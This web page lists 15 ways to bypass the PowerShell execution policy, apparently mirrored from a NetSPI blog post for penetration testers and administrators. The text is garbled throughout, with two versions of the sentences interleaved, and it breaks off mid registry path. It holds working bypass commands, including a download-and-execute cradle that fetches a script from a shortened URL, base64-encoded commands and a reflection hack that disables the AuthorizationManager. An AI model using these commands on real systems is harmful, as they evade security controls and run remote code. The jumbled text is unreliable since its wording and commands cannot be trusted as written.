Bypass the PowerShell Execution Policy
đ» 15 Ways to Bypass the PowerShell Execution Policy
Original Article:Source: NetSPI Blog
đ§ Introduction
ByPowerShellâs default,execution PowerShellpolicy is configureda safety feature designed to prevent the unintended execution of scriptsscripts. onHowever, Windows systems. This can pose challenges forduring penetration testers,tests systemor administrators,red andteam developers.operations, However,you theremay are multiple methodsneed to bypass thesethis restrictionsrestriction â without requiringadministrative local administrator rights.privileges.
1.đ Bypass Techniques
Open a PowerShell
Simply copyconsole and paste your PowerShellthe script directlydirectly. intoExecution anpolicy interactiveis console.not Thisenforced methodline-by-line.
2.
EchoEchoecho Write-Host "My voice is my passport, verify me." | PowerShell.exepowershell -noprofile -
3.
Get-Content .\runme.ps1 | PowerShell.exepowershell -noprofile -
TYPEtype .\runme.ps1 | PowerShell.exepowershell -noprofile -
4.
Downloadpowershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://bit.ly/1kEgbuH')"
5.
Use PowerShellpowershell -command "Write-Host 'MyExecution voicepolicy? isWhat my passport, verify me.policy?'"
6.
Use Encode
$command = "Write-Host 'MyExecution voicepolicy? isWhat my passport, verify me.policy?'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exepowershell -EncodedCommand $encodedCommand
7.đ Use the Invoke-Command CommandNotes
Invoke-Command8. Use the Invoke-Expression Command
Get-Content .\runme.ps1 | Invoke-Expression9. Use the âBypassâ Execution Policy Flag
PowerShell.exe -ExecutionPolicy Bypass -File .\runme.ps110. Use the âUnrestrictedâ Execution Policy Flag
PowerShell.exe -ExecutionPolicy UnRestricted -File .\runme.ps111. Use the âRemote-Signedâ Execution Policy Flag
PowerShell.exe -ExecutionPolicy RemoteSigned -File .\runme.ps112. Disable ExecutionPolicy by Swapping out the AuthorizationManager
function Disable-ExecutionPolicy {
($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue($executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
}
Disable-ExecutionPolicy
.\runme.ps113. Set the ExecutionPolicyhelpful for thepentesting, Processscripting, Scope
or Set-ExecutionPolicywhen Bypassgroup -Scopepolicy Processinterferes 14.with Setlegitimate theautomation.
ExecutionPolicy
Ensure Set-ExecutionPolicylaws -Scopewhen CurrentUserusing -ExecutionPolicythese UnRestrictedtechniques.
15. Set the ExecutionPolicy for the CurrentUser Scope via the Registry
ModifyLast themirrored registryfrom key:NetSPI: https://www.netspi.com/blog/...
HKEY_CURRENT_USER\Softw